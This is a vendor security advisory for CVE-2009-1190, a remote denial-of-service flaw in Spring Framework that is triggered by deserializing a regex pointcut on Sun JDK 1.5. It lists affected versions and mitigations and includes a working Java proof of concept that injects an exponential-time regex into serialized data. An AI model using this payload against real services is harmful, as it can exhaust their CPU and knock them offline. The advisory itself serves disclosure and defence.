REDHAT-BUG-497161: Medium severity SpringSource Spring Framework vulnerability

CVE-2009-1190: Spring Framework Remote Denial of Service vulnerability

Severity: Low

Vendor: SpringSource

Versions Affected: Spring Framework 1.1.0-2.5.6, 3.0.0.M1-3.0.0.M2 dm Server 1.0.0-1.0.2 (note 2.x not affected since dm Server 2.x requires a 1.6 JDK)

Description: The j.u.r.Pattern.compile method in Sun 1.5 JDK has a problem ([1],[2]) with exponential compilation times, when using optional groups. A workaround [3] was

implemented in 1.4.206 but the root cause of poor performance in regex processing was not resolved until JDK 1.6. JdkRegexpMethodPointcut calls Pattern.compile(source[i]); via it's inherited readObject method (from AbstractRegexpMethodPointcut). When Sun JVM 1.5 driven application with spring.jar in its classpath accepts serializable data, an attacker could use a long

regex string with many optional groups to consume enormous CPU resources. And, with a few requests all listeners will be occupied with compiling regex

expressions forever.

Mitigation: - Users of all products may upgrade to JRE/JDK 1.6 which includes the fix for the root cause - Spring Framework 2.5.6.SEC01 has been released for Community users that includes a workaround to the root cause - Spring Framework 2.5.6.SR2 is available for Enterprise users that includes a workaround to the root cause - Disable functionality that accepts serializable data from untrusted sources - dm Server 1.0.3 that includes a workaround to the root cause will be released shortly - Instrumented Spring Framework 2.5.6.SR2 that includes a workaround to the root cause will be released shortly

Example: public class DoSSpring {

static byte[] getSerialized(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.flush(); oos.close(); return baos.toByteArray(); }

public static void main(String[] a) throws Exception{ String thePattern="(Y)?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)" + "?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)?(K)" + "?(W)?(I)?(U)?(a)?$"; String longerPattern = thePattern.substring(0,thePattern.length()-1)+thePattern; int length = longerPattern.length(); String fakePattern = longerPattern.replaceAll(".", "A"); JdkRegexpMethodPointcut jrmp = new JdkRegexpMethodPointcut(); jrmp.setPattern(fakePattern); System.out.println(jrmp); byte[] theArray = getSerialized(jrmp); int i = 0; for (; i< theArray.length;i++) { if (((char)theArray[i])=='A' &&((char)theArray[i+1]=='A')) { break; } } System.arraycopy(longerPattern.getBytes(), 0, theArray, i, length); ByteArrayInputStream bis = new ByteArrayInputStream(theArray); ObjectInputStream ois = new ObjectInputStream(bis); Object o = ois.readObject(); // returns after a very very long time } }

Credit: This issue was discovered by the RedHat Security Response Team

References: [1] http://www.packetstormsecurity.org/hitb06/DAY1-MarcSchoenefeld-PentestingJavaJ2EE.pdf [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2540 [3] http://archive.cert.uni-stuttgart.de/uniras/2005/01/msg00035.html